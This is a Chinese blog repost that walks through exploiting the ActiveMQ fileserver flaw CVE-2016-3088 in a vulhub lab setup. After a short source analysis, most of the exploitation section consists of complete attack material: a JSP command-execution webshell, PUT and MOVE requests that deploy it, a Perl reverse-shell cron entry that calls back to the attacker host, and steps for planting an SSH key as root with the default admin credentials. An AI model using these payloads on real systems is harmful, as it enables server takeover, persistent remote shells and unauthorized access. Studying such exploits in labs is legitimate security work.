我是靠谱客的博主 友好往事,最近开发中收集的这篇文章主要介绍ActiveMQ远程代码执行漏洞(CVE-2016-3088)ActiveMQ远程代码执行漏洞(CVE-2016-3088),觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

ActiveMQ远程代码执行漏洞(CVE-2016-3088)

0x01 漏洞简介

ActiveMQ 是 Apache 软件基金会下的一个开源消息驱动中间件软件。Jetty 是一个开源的 servlet 容器,它为基于 Java 的 web 容器,例如 JSP 和 servlet 提供运行环境。ActiveMQ 5.0 及以后版本默认集成了jetty。在启动后提供一个监控 ActiveMQ 的 Web 应用。

2016年4月14日,国外安全研究人员 Simon Zuckerbraun 曝光 Apache ActiveMQ Fileserver 存在多个安全漏洞,可使远程攻击者用恶意代码替代Web应用,在受影响系统上执行远程代码(CVE-2016-3088)。

0x02 影响版本

Apache ActiveMQ 5.x ~ 5.14.0

0x03 环境搭建

从vulhub中下载对应环境的docker-compose.yml文件 https://github.com/vulhub/vulhub/tree/master/activemq/CVE-2016-3088

使用docker-compose up -d命令运行文件

本机ip为192.168.237.129

开放端口 8161 61616

攻击机ip:192.168.237.130

0x04 漏洞分析

下载源码:
https://activemq.apache.org/components/classic/download/,根据漏洞环境中查看到的,点击下载历史版本。下载ActiveMQ 5.11.1 Release
在这里插入图片描述在这里插入图片描述

ActiveMQ 中的 FileServer 服务允许用户通过 HTTP PUT 方法上传文件到指定目录,可以看到在doFilter会进行识别
在这里插入图片描述

可以看到后台处理 PUT 的关键代码
在这里插入图片描述

顺着 PUT 方法追踪,可以看到调用了如下函数,对文件进行写入
在这里插入图片描述

用户可以上传文件到指定目录,该路径在 conf/jetty.xml 中定义
在这里插入图片描述

后台处理 MOVE 的关键代码如下,可以看到该方法没有对目的路径做任何限制或者过滤。
在这里插入图片描述

由此,我们可以构造PUT请求上传 webshell 到 fileserver 目录,然后通过 Move 方法将其移动到有执行权限的 admin/ 目录。

0x05 漏洞复现

根据以上漏洞原理,我们可以想到多种利用姿势。

上传Webshell方式

首先 PUT 一个 txt文件 的 Webshell 到 fileserver 目录

PUT /fileserver/1.txt HTTP/1.1
Host: 192.168.237.129:8161
Content-Length: 330

<%@ page import="java.io.*"%>
<%
 out.print("Hello</br>");
 String strcmd=request.getParameter("cmd");
 String line=null;
 Process p=Runtime.getRuntime().exec(strcmd);
 BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));

 while((line=br.readLine())!=null){
  out.print(line+"</br>");
 }
%>

在这里插入图片描述

可以看到文件已经上传成功
在这里插入图片描述

尝试上传jsp文件,发现文件格式被禁止

在这里插入图片描述

由于上传的是文本文件并不能被服务器解析,所以我们下一步要利用MOVE方法将上传的webshell移动到可以执行的目录并更改后缀为jsp。

写入webshell,需要写在admin或api应用中,而这俩应用都需要登录才能访问。

默认的ActiveMQ账号密码均为admin,首先访问http://192.168.237.129:8161/admin/test/systemProperties.jsp,查看ActiveMQ的绝对路径:
在这里插入图片描述

将抓到的包改成move方法,并将我们前边写入的txt文件移到可以执行jsp文件的目录中

MOVE /fileserver/1.txt HTTP/1.1
Destination: file:///opt/activemq/webapps/api/1.jsp
Host: 192.168.237.129:8161
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: think_template=default; vue_admin_template_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjY2NzYyODcyLCJlbWFpbCI6IiJ9._m5Os7Qfe03lFDNUNDvy5FH7qbelPu2xzFcmX2Ap4fM
Upgrade-Insecure-Requests: 1

在这里插入图片描述

执行成功,我们的环境中也出现了1.jsp文件

在这里插入图片描述

访问我们生成的文件,发现已经可以执行命令

在这里插入图片描述

计划任务反弹

写入反弹计划命令

PUT /fileserver/10.txt HTTP/1.1
Host: 192.168.237.129:8161
Content-Length: 250

*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="192.168.237.130";$p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

这里在命令后面注意把换行符修改为0a,也就是linux中的n

在这里插入图片描述

在这里插入图片描述

移动到/etc/cron.d/目录下,遇到ubuntu目录不太一样,参考这里

MOVE /fileserver/11.txt HTTP/1.1
Destination: file:///etc/cron.d/root
Host: 192.168.237.129:8161
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: think_template=default
Upgrade-Insecure-Requests: 1

在这里插入图片描述

如果上述两个请求都返回204了,说明写入成功。等待反弹shell:
在这里插入图片描述

这个方法需要ActiveMQ是root运行,否则也不能写入cron文件。

上传SSH公钥方式

既然可以任意文件上传和移动,很自然的可以想到上传我们的 ssh 公钥,从而实现 SSH 方式登录。

首先生成密钥对。(如果已存在则不需要)ssh-keygen -t rsa

在这里插入图片描述

在.ssh目录下可以查看到我们生成的秘钥,将其中的id_rsa.pub进行上次

在这里插入图片描述

然后上传、移动到/root/.ssh/并重命名为authorized_keys

在这里插入图片描述在这里插入图片描述

之后直接ssh登录即可。

参考链接

https://paper.seebug.org/346/
https://github.com/vulhub/vulhub/blob/master/activemq/CVE-2016-3088/README.zh-cn.md

最后

以上就是友好往事为你收集整理的ActiveMQ远程代码执行漏洞(CVE-2016-3088)ActiveMQ远程代码执行漏洞(CVE-2016-3088)的全部内容,希望文章能够帮你解决ActiveMQ远程代码执行漏洞(CVE-2016-3088)ActiveMQ远程代码执行漏洞(CVE-2016-3088)所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(38)

评论列表共有 0 条评论

立即
投稿
返回
顶部